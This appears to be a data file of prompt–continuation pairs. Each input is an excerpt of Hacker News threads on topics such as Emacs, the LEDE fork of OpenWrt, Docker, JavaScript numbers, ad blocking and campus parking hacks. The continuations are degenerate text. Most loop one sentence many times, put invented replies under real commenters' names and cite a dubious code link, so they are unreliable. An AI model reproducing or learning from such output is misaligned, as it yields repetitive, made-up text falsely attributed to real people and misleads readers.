perished\", it might be interesting to ask \"what\nsort of emacs language features would make it the best in the world!\"\n\nIt is far easier to get a minimum product out when the eventual goal is the\nstars.\n\n~~~\nfleitz\nI believe this kind of thinking is what led to the massive success that is\nemacs in the first place.\n\n------\nbrudgers\nAs I began really using Emacs about a year ago, I got the idea that the Emacs\ncode base could actually be a foundation for a computer science curriculum -\nThe Emacs code base touches on scripting, functional programming, application\nprogramming, systems programming in C, real-time problems, usability, cross-\nplatform development, etc. etc.\n\nAn alliance with Racket would be an interesting option from the standpoint of\nlanguage communities.\n\n \n \n - The community's core is [ relatively ] vibrant.\n \n - The community has more than a passing interest in \n developing development tools.\n \n - The community is exceptionally stable because\n its members are often linked to academia.\n \n - It copes with endless September really well.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n"} +{"output_text": ". I still have a day job, but I'm not doing\nanything I don't want to do. I'm not working on anything I don't want to work\non. I'm not working on anything I don't want to work on. I'm not working on\nanything I don't want to work on.\n\nI'm not saying this is the right way to live, but it's worked for me. I'm\nhappy with it, and I'm not going to", "input_text": " fought this draining battle for about 15 years of a relatively typical IT\ncareer, from desktop support, to junior dev, too dev and all-hats, to\napplication support, to QA (less stressful), to finally getting out of the\ngame for the most part. Rarely did work not stress me out, aside from when I\nwas starting out in desktop support roles, and maybe when I was trying out QA.\n\nI knew people that seemed to be made for it. They may not have liked it, but\nthey managed to power through day after day of drudgery like it was nothing.\nThey were productive, accomplished their workload, and did it consistently\nover and over. Sometimes I envied them and wished I could be like them. But in\nthe end, I just am not.\n\nOne of the biggest problems for me was that I rarely felt like I was working\non anything worthwhile. It was either advertising to sell stuff, or tools to\nhelp people sell and ship stuff more efficiently, or number-crunching to track\nmoney, or various forms of CRUD to keep track of the cogs, and so on.\n\nAnd even when the work was interesting, it was still largely driven by\ndeadlines and plans and getting X done in Y time units. Put these here\nframeworks together, work out most of the kinks, and ship, ship, ship! This\nwas also kind of soul-crushing for me, because I like to get things \"right\",\neven if it means prototype after prototype that's discarded after a month or\ntwo of learning.\n\nIn the end, I opted to minimalize my life and switch largely to supporting\nmyself through barter and scavenging. Now much more of my time is under my\ncontrol to do with as I please"} +{"output_text": " the first\nplace.\n\n~~~\nausjke\nI'm not sure if this is the right place to ask this, but I'm curious, why\nwould a project like openwrt, which is a community project, have a single\nmaintainer?\n\n~~~\njamesmcbennett\nI think it's a question of time.\n\n------\njamesmcbennett\nI think the answer is in the question.\n\n------\nj", "input_text": "\nthe problem is that these people tend to enjoy discussing \"this week's\nepisode\" with their friends, and that's hard when they've watched the entire\nseason/series.\n\n~~~\nTyrant505\nThis discussion of an ep or event in series happens regardless... You are just\ndefending a timescale based on an old model as a reason for it to exist.\n\n------\nbenackles\nThe technology and business model side of the equation could be solved, if the\nlicensing problems were resolved. Too bad all the streaming services are still\nhamstrung by licensing issues from truly providing a service wherever you are.\nNetflix is still unavailable in most parts of the World, including many Asian\ncountries where piracy is the most prevalent.\n\n------\ndavemel37\nThis reminds of Fred Wilson's post about Piracy\n[http://www.avc.com/a_vc/2012/01/screwcable.html](http://www.avc.com/a_vc/2012/01/screwcable.html)\n\n------\njamesmcbennett\nIn this interview, is there a relationship between a TV pilot and a lean\nstartup MVP where Spacey is against such a pursuit preferring more visionary\nendeavours that take longer to get feedback?\n\n \nIntroducing the LEDE project \u2013 A reboot of the OpenWrt community - ycmbntrthrwaway\nhttps://www.lede-project.org/\n======\nausjke\nA long time openwrt user here. What puzzles me the most is that, those who are\nforking openwrt are the the majority group of core developers for openwrt, so\nI don't know why they are leaving the project they're in control in"} +{"output_text": " it with \"fuck you\" or \"fuck off\".\n\n~~~\njrockway\nI don't think you understand the difference between the web and television.\nThe web is a collection of documents, and the web browser is a program that\nruns on your computer and displays those documents. Television is a collection\nof pictures, and the television is a program that runs on your television and\ndisplays those pictures.\n\nThe web is a collection of documents, and", "input_text": "'t\nvisit the website. If techdirt doesn't mine me blocking adverts, great, but\nwhy not make it a profile option? Sign up and get the option to disable\nadverts!\n\nMaybe I'm crazy, but I view access to websites, media and items (eg: biscuits)\nthe same. If I want access / ownership / consumption of something and the\nowner wants me to pay $10, view an advert or give them my email address then I\ndo that or I don't get the content. Just like I would hope everyone thinks the\nsame of the content I'm involved in the production of (although I don't run\nadverts on the websites that I own...)\n\nAs an aside I know of a website that has been around for a long time now that\nis suffering because of sticking to their guns regarding advertising. They\ndon't want to sacrifice the \"spirit\" of the website so they're losing\nadvertising options fast (some of the content is _not_ advertiser friendly...)\nand this is going to lead to them shutting down soon, which is a shame because\nit's a website that matters a lot to me and has a significant userbase and is\na part of the internet history. Sometimes sticking to your guns to the death\nisn't the best thing for your users...\n\n~~~\nislon\nThis is the internet not television. I'm not obliged to see their ads. Yes,\nit's their content but my viewport. By the same argument I shouldn't be\nallowed to surf the web using lynx (the console browser) because it doesn't\nshow pictures and many ads are pictures or flash. On my client I can change\nthe content all the way all want, if I don't want to see the word \"fuck\" I can\nreplace"} +{"output_text": "listing\nthe double type for performance reasons.\n\n------\nmistercow\nI'm not sure I understand the point of this. It seems like it's just a\nreimplementation of the original JS engine, with a few extra features.\n\n~~~\ngsnedders\nIt's a reimplementation of the original JS engine, with a few extra features.\nIt's not a new engine, it's a new implementation of the original engine.\n\n~~~\nmister", "input_text": " Number type in JS is\nspecifically defined as using the 64-bit floating point format as defined by\nIEEE 754, except that all NaNs are coerced to a single value. In terms of the\nabstraction, there is never a cast when the value overflows; it should just\nalways be considered a double. Under the hood, there may be differences in how\nthe number is actually being treated.\n\n~~~\ntootie\nI've heard this before and never understood why. Why?\n\n~~~\nmistercow\nPresumably because it allows you to do anything involving double precision or\n32-bit integer arithmetic, and performance was not originally a major\nconsideration. It's pretty rare to need more than 53 bits of precision (and\nwas even rarer for JS's original intent), so it makes sense that the numeric\ntype is kept simple. Edit: and to clarify, the advantage is that this makes\nbasic implementation extremely simple. Only if you want to optimize your\nengine's performance do you have to worry about shuffling types around.\n\nThese days the solution for having more precision is to use an external\nlibrary. I think that's generally fine, although I think performance is a\nconcern. Financial applications aside, working with arbitrary precision is a\ngood hint that you might be doing something processor intensive. It's\ncertainly a case where I'd like the library to be compiled to target asm.js,\nand maybe optionally NaCL, once those have widespread adoption. Ideally,\nECMAScript would also have a native implementation, but that won't eliminate\nthe need for a library for shimming for years to come.\n\n~~~\ngsnedders\nPerformance was always enough of a consideration that even BE's original\nimplementation had both int32 and double types internally, though black"} +{"output_text": "\n------\njoshu\nI think it's a combination of things.\n\n1) I'm a pretty lazy person. I don't like to exercise. I don't like to go to\nthe gym. I don't like to go to the gym and work out. I don't like to go to the\ngym and work out.\n\n2) I'm a pretty smart person. I don't like to exercise. I don't like to go to\nthe", "input_text": " rest. At\nsome point, when I was working out a lot, i was obsesed with bench-pressing,\nand trained a lot of them. The result was an onverdeveloped chest, and\ntriceps, while the rest was just more regular looking. It just made me look\nmore bulky, but I don't think it made me anymore healthy.\n\nI ignored my legs, and biceps, and at some point ended up injuring my knees,\nplaying soccer, mainly b/c I just didn't exercise my legs as the rest of my\nbody.\n\nLesson learned. You have to go to the gym, and do all the range of excercises,\nand not just one kind.\n\n~~~\nkylec\nI got chills reading your comment - there's a relatively new \"100 pushups\"\nmeme on Reddit that was precipitated by a comment very similar to yours:\n\n[http://www.reddit.com/r/science/comments/6nz1k/got_six_weeks...](http://www.reddit.com/r/science/comments/6nz1k/got_six_weeks_try_the_hundred_push_ups_training/c04ehte)\n\n------\nmodoc\nFor me it really goes with stress. When things are running smoothly and I have\na decent amount of free time, I sleep well, eat healthily, and work out\nregularly. When things are busy, and I have a huge to-do list, my stress level\nis way up, and there's tons of stuff demanding my time, I sleep less and\npoorly, I crave carb and fat rich foods when I'm stressed, and I have a much\nharder time taking breaks to workout, etc...\n"} +{"output_text": "\nis a Chinese puppet.\n\n~~~\nwhb07\nI'm not sure if you're being sarcastic or not.\n\n~~~\ncaligarn\nI'm not. I'm just saying that China is the only country that can really\ninfluence North Korea.\n\n~~~\nwhb07\nI'm not sure if you're being sarcastic or not.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is a", "input_text": "\nabout Trump's effect in the Korean process, but Cuba will be a much cleaner\ntest.\n\n------\nborkt\nThis is making me wonder if Kim Jong Il has been executing officials and\nfamily so rapidly not because they were for peace, but rather because they\nwere pushing a hard line agenda and he is the one who wanted to make peace\nwith the south. It would be very interesting if it turns out that all of his\nprevious public speech was actually forced, and he had to remove a lot of\npeople before he could push through this agenda. Unlikely I'm sure but not\nimpossible.\n\n~~~\nwhb07\nI really wonder what his endgame to be is? What if he realizes the jig is up\nand he can do a peaceful transition and cash out entirely?\n\nHe could be lord emperor of a shit empire or he could be a wealthy\nmillionaire/billionaire in the real world. All he has to do is walk away from\nthe mess. I wonder if the South Koreans and US would be down with him doing\nthat?\n\n~~~\nConceptJunkie\nScott Adams has had a number of very interesting (and I think insightful)\npieces on North Korea and how Trump could be the first person in half a\ncentury to make the geopolitical situation with respect to North Korea better\ninstead of worse. Here is one of them:\n\n[http://blog.dilbert.com/2018/01/17/north-korea-can-become-\nsw...](http://blog.dilbert.com/2018/01/17/north-korea-can-become-switzerland-\neast/)\n\n------\ncaligarn\nI\u2019m pretty shocked no one in this thread gives credit to China. Kim Jong Un"} +{"output_text": "-os/redox-\ncli/blob/master/...](https://gitlab.redox-os.org/redox-os/redox-\ncli/blob/master/redox-cli/redox-cli.py)\n\n[https://github.com/jedisct1/redis-cli](https://github.com/jedisct1/redis-cli)\n\n[https://github.com/j", "input_text": "ary network-only policies in public at least.\n\n~~~\nkenneth\nGetting into YC is a great way to jump-start your network. Ultimately, having\na strong network is key to building a successful venture business. Expecting\notherwise is unrealistic.\n\nVCs aren't charities. Seed investing is a business with very high quantity and\nlow quality at the top of the funnel. Any investor who tells you they aren't\ngiving more weight to a lead that comes recommended vs. one that doesn't is\nlying to you. It could be as simple as 5min to review the initial pitch vs.\n1min.\n\n \nTSV Utilities: Command line tools for large, tabular data files - bryanrasmussen\nhttps://github.com/eBay/tsv-utils\n======\nJimmyRuska\nI've been noticing more swiss army-knife-like cli tools in the last few years.\nIt would be cool if there were some that could support avro/parquet/orc\nformats. This one is notable because it's written in D lang by a mega corp.\n\nSome useful cli data wrangling tools --\n\n[https://github.com/BurntSushi/xsv](https://github.com/BurntSushi/xsv)\n\n[https://github.com/dinedal/textql](https://github.com/dinedal/textql)\n\n[https://github.com/n3mo/data-science](https://github.com/n3mo/data-science)\n\n[https://stedolan.github.io/jq/](https://stedolan.github.io/jq/)\n\n[https://gitlab.redox-os.org/redox"} +{"output_text": " of parking spots?\nShould we just give them away?\n\n~~~\njedberg\nI think the answer is to give them away for free.\n\n~~~\ncortesoft\nI think that would be a terrible idea.\n\n~~~\njedberg\nWhy?\n\n~~~\ncortesoft\nBecause it would be a terrible idea to give away free parking spots.\n\n~~~\njedberg\nI don't think it would be a terrible", "input_text": " another option to pay any parking fines\u2014deduction\nfrom your paycheck. Except TAs don\u2019t have paycheck. The system would deduct\nfrom 0, and would not go negative but still count the fine as paid.\n\n------\nISL\nLike adversaries who attempt to outrun a radio, \"outsmarting\" law enforcement\nwho have your license-plate number is a generally poor strategy.\n\nLikewise, putting the police-department's SIM in your phone has some pretty\nclear downsides.\n\n~~~\neptcyka\nI don't believe campus police actually has any legal power. It also isn't the\npolice department's SIM card, Barnacle owns it - of course it's still\nconsidered theft.\n\n~~~\nimglorp\nIt's worse than legal trouble. They hold your graduation until you return all\nlibrary books, pay all debts, fines, and interest, etc etc.\n\n~~~\nScoundreller\nThe usual trick is to drive someone else\u2019s car. (Mom\u2019s or dad\u2019s).\n\n------\nrkhacker\nThanks so much to the university for coming up with the barnacle or I would\nhave missed these really brilliant hacks that seemed to keep improving one\nafter the other. Parking 12 scrappy car was so low-tech and yet so effective\nbut juicing the sim card for months has to be appreciated for going the extra\nmile.\n\n------\ncortesoft\n> Obviously, some students thought that fee was ridiculous \u2013 just like paying\n> for parking at a university where you\u2019re already paying a hefty tuition fee\n\nI hate parking fees as much as the next person, and totally appreciate the\ncreativity of the people who defeated this device.\n\nHowever, how should we handle distributing a limited number"} +{"output_text": " ways, they\u2019re not.\n\n------\njimmydddd\nI'm not sure how this is news. I've been hearing this for years.\n\n~~~\nvillage-idiot\nIt\u2019s not news, it\u2019s just a new article.\n\n------\njimmydddd\nI'm not sure how this is news. I've been hearing this for years.\n\n------\nvillage-idiot\nI\u2019m not sure", "input_text": " of \u201ccustomer choice\u201d.\n\nThe only question is, exactly how corrupt was this? Was it \u201cthe boss is an\nidiot and doesn\u2019t understand\u201d, or \u201cthey bought enough over priced hotel\nrooms\u201d?\n\n~~~\nqmanjamz\nMost other industries are allowed to sell products that are contrary to their\nclients' interests. I don't see why wealth management should be any different.\nIf my mechanic can try to sell me a bunch of services I don't really need\nevery time I go in for an oil change, I have no problem with the financial\nindustry doing the same.\n\n~~~\nvillage-idiot\nThe difference is that your mechanic isn\u2019t acting as your agent with regards\nto all things automotive, they represent the shop they work for. That\ndifferentiation of who\u2019s responsible for what makes a huge difference.\n\nA financial advisor is much more akin to a lawyer, you pay them to represent\nyour interests. And it is absolutely against the rules for your lawyer to not\nprotect your best interests to the upmost extent of the law.\n\n~~~\njimmydddd\nAgreed. Standard lawyer jokes aside, I used to routinely advise clients\nagainst filing lawsuits which would have benfitted me and my firm financially.\nIn many cases, it would have been a waste of time and money for the client.\nI'm surprised that financial advisors think it's acceptable to advise against\na client's interests. Not surprised that they would do it, but surprised that\nthey publically state that there is nothing wrong with it.\n\n~~~\nvillage-idiot\nI think high finance has deluded itself into thinking that they\u2019re\nirreplaceable, and therefore they don\u2019t have to pay an ounce of attention to\ntheir public image. In minor"} +{"output_text": " with the relevant information.\n\n~~~\nmattmanser\nI don't think it's disrespectful.\n\nHe's a journalist, he's writing about a subject he's interested in.\n\nHe's not writing a book, he's writing a blog post.\n\nHe's not writing a book, he's writing a blog post.\n\nHe's not writing a book, he's writing a blog post.\n\nHe's not writing a book, he's", "input_text": "\nGoogle exploited the buzz of open source philosophy, so it's fascinating\nseeing the open source community's reaction to their stricter control over\nAndroid. Personally, I always saw the trumpeting of \"openness\" as an\nunrealistic marketing ploy.\n\n------\njinushaun\nHonest question: Why do people listen to and retweet Gruber? Everything I've\nread from him is pure biased hypocritical garbage.\n\n \nWhy can\u2019t we read anymore? - subnaught\nhttps://medium.com/@hughmcguire/why-can-t-we-read-anymore-503c38c131fe\n======\nSchwolop\nPart of the problem is articles like this. There were perhaps five interesting\nsentences of content in that entire piece, and several hundred entirely\nredundant words and personal examples used only to set the tone.\n\nIf modern writers have such disrespect for their audience, is it any wonder\nsome of that audience hasn't the attention span to stick with it?\n\nOlder, serious, and timeless literature requires deep concentration because\nthe authors use their thousands of words to express deep pathos that can't be\ntrivialised. It takes practice to commit oneself to a book like that for long\nenough to get into a flow wherein it can be understood and appreciated. It's\n_easier_ to read fluff because the dopamine hits quicker, but (for some\npeople) it's worth the effort to read something more meaningful.\n\nIn some ways there's an analogy to coding; some books I can't read unless I've\ngot the time to be isolated from distractions. Similarly, some coding problems\nI can't make progress unless I know I've got more than a half hour to pre-load\nmy brain cache"} +{"output_text": "\n\n~~~\njlarocco\nI don't know if it's a good idea, but it's certainly an interesting one.\n\n------\njlarocco\nI'm not sure why this is getting downvoted. It's a pretty interesting\nimplementation.\n\n~~~\njlarocco\nI'm not sure why this is getting downvoted. It's a pretty interesting\nimplementation.\n\n~~~\nnly\nIt's a pretty interesting implementation, but it's", "input_text": " 8 bytes,\nbecause then we'd end up allocating 8kb from the OS (two pages) and wasting\nmost of that second page. So nsTArray works with the allocator to figure out\nthe right number of elements to allocate without wasting too much space.\n\nWe don't want to allocate a new header for zero-length arrays. The natural\nthing to do would be to set nsTArray's pointer to NULL when it's empty, but\nthen you'd have to incur a branch on every access to the array's\nsize/capacity.\n\nSo instead, empty nsTArrays are pointers to a globally-shared \"empty header\"\nthat describes an array with capacity and length 0.\n\nMozilla also has a class with some inline storage, like folly's fixed_array.\nWhat's interesting about Mozilla's version, called nsAutoTArray, is that it\nshares a structure with nsTArray, so you can cast it to a const nsTArray*.\nThis lets you write a function which will take an const nsTArray& or const\nnsAutoTArray& without templates.\n\nAnyway, I won't pretend that the code is pretty, but there's a bunch of good\nstuff in there if you're willing to dig.\n\n[http://mxr.mozilla.org/mozilla-\ncentral/source/xpcom/glue/nsT...](http://mxr.mozilla.org/mozilla-\ncentral/source/xpcom/glue/nsTArray.h)\n\n~~~\nnly\n> One of its unusual design decisions is that the array's length and capacity\n> is stored next to the array elements itself.\n\nGNU stdlibc++ does this for std::string so you get prettier output in the\ndebugger."} +{"output_text": "------\njoshstrange\nI'm not sure if this is a bug or not but I'm getting a 404 on the Docker\nwebsite.\n\n~~~\nlugg\nI'm not sure either. I'm getting a 404 on the Docker website too.\n\n------\njoshstrange\nI'm getting a 404 on the Docker website.\n\n------\nlugg\nI'm getting a 404 on the Docker website.\n\n------\nlugg\nI'm getting", "input_text": "transports, all of the package signing would still be absolutely required in\norder for package upgrades to be safe. In addition, the package manger should\ndistrust the transport no matter what (in fact, it should be resilient to\ncompromised repo servers).\n\nNow, should apt use TLS by default? Ideally, yes. A secure transport is better\nthan an insecure one regardless of what you're sending through it. But\nunfortunately it's not as simple as that. Most CDNs charge extra for TLS, and\nmany existing free mirrors of packages don't provide TLS at all. Also, using\nHTTP allows for proxies to cache packages.\n\nUnfortunately, as we discovered recently, apt had not been distrustful enough\nof HTTP metadata (which was a pretty big mistake since the entire design of\npackage managers is that they must distrust the transport, especially if it's\ncompletely insecure like HTTP).\n\n------\naerovistae\nWould have made this a bit clearer to note in the post that this is an email\nyou received, and that you are not Kent Lamb using Hacker News as a medium to\ndistribute Docker announcements, which is what this looks like.\n\n~~~\nlugg\nGood point, it does look wrong. Updated.\n\n------\npavanagrawal123\nI can't find an announcement of this anywhere besides HN? Will Docker be\npublishing info via official mediums?\n\n~~~\nlugg\nI assume they will. I only just got the email and it looks like only a small\nsubset of accounts are affected. Or at least that's what that PR spin is\nsupposed to make you think.\n\n~~~\npavanagrawal123\nI see. I originally thought this was the announcement, as that is what the\npost indicated.\n\n"} +{"output_text": " using Docker.\n\n~~~\ndeftek\nI think it's a great idea. I'm not sure if it's a good idea to have a\ncommercial entity behind it.\n\n------\njosh2600\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI've been using Docker for a while now, and I'm really enjoying it. I'm\ncurrently working on a project that will require a lot of Docker containers", "input_text": " image is the\nsame in every environment\n\n\\- Easy onboarding to teams that use docker because you dont need to setup\nanything new. This is especially useful if your company encourages developers\nto work across teams\n\n\\- Ops can build around infrastructure around this and be sure that every team\nbuilds and runs code in the same way\n\n\\- If your application is complex, using docker-compose, its extremely simple\nto setup your dev environment\n\n\\- The community is moving towards docker, and it doesnt hurt your resume if\nyou have production docker experience\n\nMinuses:\n\n\\- For an extremely simple application (that you think will remain simple over\nits lifetime), it might be more overhead to use docker than not use it\n\n\\- Even though we\u2019ve been using boot2docker and vagrant to setup docker on\nMacOSX, it hasnt worked seamlessly. When you get on and off a vpn for example,\nboot2docker has constantly messed things up. If you can get your dev setup\nright, docker works well. If not, it can be a pain sometimes on OSX\n\n\\- Although its easy to build docker images for most of the open source\nsoftware out there (if docker images dont already exist), it can be a pain to\ndo that for enterprise software. Try using docker with oracle db. You might\nget it to work. You wont have fun with it!!\n\n------\ndeftek\nI would keep an eye on this project:\n[http://www.opencontainers.org/](http://www.opencontainers.org/)\n\n~~~\ndmarg\nHeard about this and seems like everyone and their mother are signing on. This\nis one of the reasons why I asked the main question is because I want to fully\nunderstand what the business case is for"} +{"output_text": ".\n\n~~~\nkrapp\n>Racist!= Nazi\n\nI'm not sure what you mean by this.\n\n>My great grandmother was racist.\n\nI'm not sure what you mean by this.\n\n>Racist!= Nazi\n\nI'm not sure what you mean by this.\n\n>My great grandmother was racist.\n\nI'm not sure what you mean by this.\n\n>Racist!= Nazi\n\nI", "input_text": " who share his or her goals are not effective and\nshould adopt other tactics in order to achieve their aims.\n\nIf you're not able to see this, I have to question whether you've reviewed the\nmaterial your commenting on, or if you're incredibly politically naive, or if\nperhaps your questioning is not entirely in good faith.\n\n~~~\ntrue_religion\nSo the author is calling for less violence against minorities, wants to remove\nracist language from public discourse, but he must still be racist because he\ndoes not totally condemn racists who happen to want the same goals as he does?\n\nNot criticizing, I just want to know if this is a fair assessment. I do not\nknow how I feel about this in general, but in specific, his short term goal of\nreducing violence makes him a more tollerable enemy.\n\n~~~\nkrapp\n> but he must still be racist because he does not totally condemn racists who\n> happen to want the same goals as he does?\n\nYes, because those goals are racist.\n\nHe's racist because of his belief in and support for white nationalism and\nracial segregation, and the genetic and cultural superiority of the white\nrace, and his definition of \"western civilization\" in purely (pun intended)\nracial terms. He's racist because he views the presence of non-white people as\na form of pollution and believes in racist conspiracy theories like white\ngenocide.\n\nBeing racist and civil is still being racist.\n\n~~~\npaulddraper\nI'm not sure \"genetic superiority\" is in his list of claims. But in any case,\ngoing back to the original point, there's some real muddling of terminology\nhere.\n\nRacist!= Nazi\n\nMy great grandmother was racist"} +{"output_text": "anted, I'm not saying that's a bad thing, but it's not a good thing.\n\n~~~\nthomnottom\nI'm not sure what you mean by \"low status symbol\". I'm not sure what you mean\nby \"depending on industry\".\n\nI'm not sure what you mean by \"depending on industry\" either.\n\n~~~\nRetric\nI'm not sure what you mean by \"depending on industry\" either.\n\n", "input_text": " we step back and reevaluate the way we are raising the youth. This\nwar on boys is wrong, and could have disastrous effects on our society in the\nfuture.\n\n~~~\ndudul\nAgreed. It is baffling to me that nobody seems to seriously consider that this\nwar on men/boys is what creates this weird and uncomfortable social dynamic.\nMasculinity is not something to be feared or ashamed of, teaching that is what\ncreates dysfunctional men.\n\n~~~\nkod\nNo, social norms that\n\n \n \n - you're not allowed to show emotion (unless it's anger)\n - you must get all of your emotional needs met through first your mother, and then your girlfriend / wife\n \n\nare what creates dysfunctional men.\n\n~~~\nRetric\nAs a tall, large framed man, I often get very strong negative reactions when I\nam physically fit. And I mean fit not weightlifting bulk. Keeping short hair\nand a clean shave while swimming regularly is a very utilitarian choice, but\nyou get even stronger negative reactions. The way out? Growing long hair\ntransformed rather negative skin head connotations with a far more teasing\nFabio.\n\nOur culture really looks down on the strong male archetype.\n\nPS: Don't believe me? Try growing a natural aka full beard.\n\n~~~\nthomnottom\nAs someone with a full beard, a father who wears a full beard, and several\nfriends with full beards, what is the problem with them?\n\n~~~\nRetric\nFor one thing it lowers the bar before people think your indigent. Depending\non industry it can often make it harder to find a job. On the whole it's\ngenerally viewed as a low status symbol.\n\nGr"} +{"output_text": ".\n\n~~~\njoshu\nI'm not sure I understand your point.\n\nI'm not going to outsource the code. I'm going to hire someone to write the\ncode.\n\n~~~\nfate_carver\nI'm not sure I understand your point.\n\nI'm not going to outsource the code. I'm going to hire someone to write the\ncode.\n\n------\njoshu\nI'm not sure I understand your", "input_text": " one anyway) than I\nmight offer, so why me? It's the reason I have made this post and offer up the\ndecision to code things myself or outsource. I know where I have a weakness,\neven if I learn to code, I still won't be as proficient as I need to be. So, I\nwill need someone.\n\nI guess my hope is that by actually creating something and having customers,\nthat traction (along with the list of things I believe I have to offer) will\nentice a \"tech co-founder\" to come join up with me.\n\n~~~\nfate_carver\nA CPA! Kudos. I know that is not easy, my fiancee just tested for her\nCPA...but I would hate to see the code she would write : ) This is way before\nyour time, but Kenny Rogers had a lyric, \"Got to know when to hold 'em, and\nknow when to fold 'em\" which can extrapolate to your perceived need to do\neverything. You can do everything, or anything, but where do you draw the\nline? Janitor? QA testing? Chief Bottle Washer? I'd \"hold\" on running the\ncompany, but \"fold\" on writing the code.\n\nIf you do decide to \"outsource\" do you mean offshore? Perhaps Rent-a-coder\nisn't a bad idea, but just make sure the coder(s) are available after they\nwrite the code, have them sign a non-compete, and possibly outsource a second\ncoder to review the code if you are not getting the warm and fuzzies from the\nfirst team. Ask for well-documented code including an overview explanation,\napproach, architectural considerations, and lots of comments"} +{"output_text": " feel like I'm reading a bad science fiction story.\n\n~~~\njurjenh\nI agree with you on the recommendation system. I think it's a great idea, but\nI think it's a bit too much like a social network for my liking.\n\nI think the core of the site is the conversations, and the karma system.\n\n------\njoshu\nI think this is a great idea.\n\nI think it would be great to have a", "input_text": " run software without hardware. Even if the computers of\ntomorrow are a mess of FPGA's that can be reconfigured on the fly, somebody's\ngot to make the FPGA's.\n\n------\nChuckMcM\nIts a great insight. What happens when your laptop is 'fast enough' for the\nforseeable future?\n\n~~~\njurjenh\nThen you start running into failure. Modern electronics isn't really built to\nlast, so having a laptop that will last you more than 10 years is extremely\nunlikely.\n\nUntil market demand changes to quality, long-lived electronics, you will still\nbe rolling over your computing device every couple of years. And then there's\nalways the trends and cycles of fashion...\n\n~~~\nwmf\nYeah, but 10 years is still a lot longer than the 3-year upgrade cycle many\npeople are on today.\n\n \n\nAsk HN: Web app feedback (intelligent chatting system) - benjamincanfly\nhttp://www.circleofconversation.com\n\n======\ngruseom\nI like it too. I might even use it, if there are enough high quality\nparticipants.\n\nI read the whole Theory page and it struck me as blah blah blah blah blah,\n_except_ for these two points:\n\n1\\. Conversations on topics you want, going on right now; 2\\. Karma keeps the\nquality high.\n\nTo me those are the core, and they're a pretty cool core. If I were you I'd\nstrip everything else out. And emphasize those two things on the main page.\n\nPersonally, I'd drop the recommendation system, or at least drop talking about\nit. There's so much tripe surrounding that kind of thing that, when I read it,\nI"} +{"output_text": "\nones.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nIf you have a password, you have a password. If you have a password, you can\ndecrypt the drive.\n\nIf you have a password, you can decrypt the drive.\n\nIf you have a password, you can decrypt the drive.\n\nIf you have a password, you can decrypt the drive.\n\nIf you have a", "input_text": " example, 1 key could boot up one OS and another key could boot up a\ndifferent OS. Seems like it'd be difficult to prove that you booted one or the\nother...\n\n~~~\ntalmand\nI can see the legal issues that would be forthcoming if you refused to share\nthe key to allow for access or agree to type it in yourself. Obstruction and\nall that.\n\nI'm wondering what the legal ramifications might be if you set a secondary key\nthat would wipe the drive in the most secure method possible and then provide\nthat key. Or even the alternate boot sequence as suggested.\n\n~~~\nmc32\n>I'm wondering what the legal ramifications might be if you set a secondary\nkey that would wipe the drive\n\nDestruction of evidence. \n\n~~~\ntalmand\nOh, I get that, I'm not saying it's a way to avoid the ramifications, I'm just\nwondering what they are.\n\nI have to say that I somewhat agree with the ruling because there are similar\nsituations with physical objects, not true one-to-one but they are there. I'm\njust wondering how the courts would react to the destruction of digital\nevidence that was not directly initiated by the defendant, but indirectly by\npreparing for the possibility.\n\n------\norbitingpluto\nClassical jibberish passwords are mostly muscle memory. I know I wouldn't be\nable to remember some of my mine of that sort after two weeks.\n\nIf you were incarcerated and you knew you might have to comply with an order\nto decrypt a hard drive, it might be in your best interest to create and\nshadow type many alternate passwords until you actually forget the important"} +{"output_text": "which is\nwhat google play is).\n\n------\njoezydeco\nI'm not sure I understand the point of this article.\n\nThe author is saying that Google is going to make a big push into the\nenterprise market.\n\nBut the article is about Google's new \"enterprise\" cloud offering.\n\nSo what's the point?\n\n~~~\njoezydeco\nI guess I'm just not seeing the point of this article.", "input_text": "people like me who are sick of android/iOS because of closeness of\nplatform.Even canonical with its huge budget admits they don't have plan to\nreplace iOS/android (which as you told is too late for such product, even for\nMicrosoft which have shitload of money ) but they targeting specific user's.\n\np.s. This is my understanding as simple end-user.I might be wrong.\n\n~~~\ntdkl\nThere is no money in targeting the couple %. Hell, there's almost no money in\nAndroid either unless you're Samsung.\n\n~~~\n0xFFC\nThere is no money in android? That is one of the funniest thing I ever heard\nin my entire life! Just calculate how much android brought people to the\ninternet, Then multiple it by some rate, it will be the money google make\nfrom advertising on android platform. How much internet going to grow,\nGoogle income will be grow also. Every search, Every app which you download\nfrom google play, It is direct money which goes into google's pocket, Put\naside Google play income which it will get from every transaction _ 30% I\nthink, I am not sure _ (which is huge but let assume google spend all of it\non android ecosystem and maintaining).\n\np.s. Targeting does not only imply earning money.\n\n~~~\ntdkl\n[http://techcrunch.com/2015/02/26/apple-eating-all-the-\nprofit...](http://techcrunch.com/2015/02/26/apple-eating-all-the-profits/)\n\n~~~\n0xFFC\nYou clearly misunderstood the article.As I mentioned eariler Yes, there is no\nprofit in selling Android products _hardware:some, software:none_("} +{"output_text": " is really\n$600.\n\n~~~\n2muchcoffeeman\nI think you are right.\n\nI think the price of the device is a lot more important than the price of the\nphone.\n\nI think the price of the phone is a lot more important than the price of the\ndevice.\n\nI think the price of the device is a lot more important than the price of the\nphone.\n\nI think the price of the phone is a lot", "input_text": "'cha know.\nIt's a freedom thing. Also, even if they make a loss, they will make it back\nin volume. (since that appears to be their _actual business strategy_,\nwhether to place sarcasm tags around the preceeding sentence is left as an\nexercise for the reader)\n\nSmall nitpick: roughlydrafted was _always_ a pure fanboi site with little or\nnothing of interest to say.\n\n~~~\nwhite_devil\nHe's certainly a fanboi, but he's been very insightful too.\n\n~~~\nStormbringer\nhe suffers from Gruber-syndrome.\n\nWhich is to say, that he will argue till the cows come home that market share\nis udderly (sic) irrelevant...\n\n...right up until Apple gets a market share lead in something, when he will\nwhip out the megaphone and start screaming about how \"we\" are winning now.\n\nHe's _almost_ as bad as the people who - in complete disregard of the facts,\nkeep slamming Apple no matter what they do.\n\n------\n2muchcoffeeman\nApple went from 4% market share with 50% profits sometime in 2010, to 8.7%\nmarket share with 75% profits. Which seems to imply they are also making their\ndevices, on average, cheaper.\n\nIs this the start of them slowly adjusting their prices to grab some more\nmarket share? Especially now that they actually have phone models to serve\nmultiple segments of the mobile phone market?\n\n~~~\nschiffern\nOr pie got larger, which seems more likely.\n\nMost of the price of the device is negotiated with the carrier, not the\nconsumer. So a \"free\" device is really $600, and a \"$199\" device"} +{"output_text": " 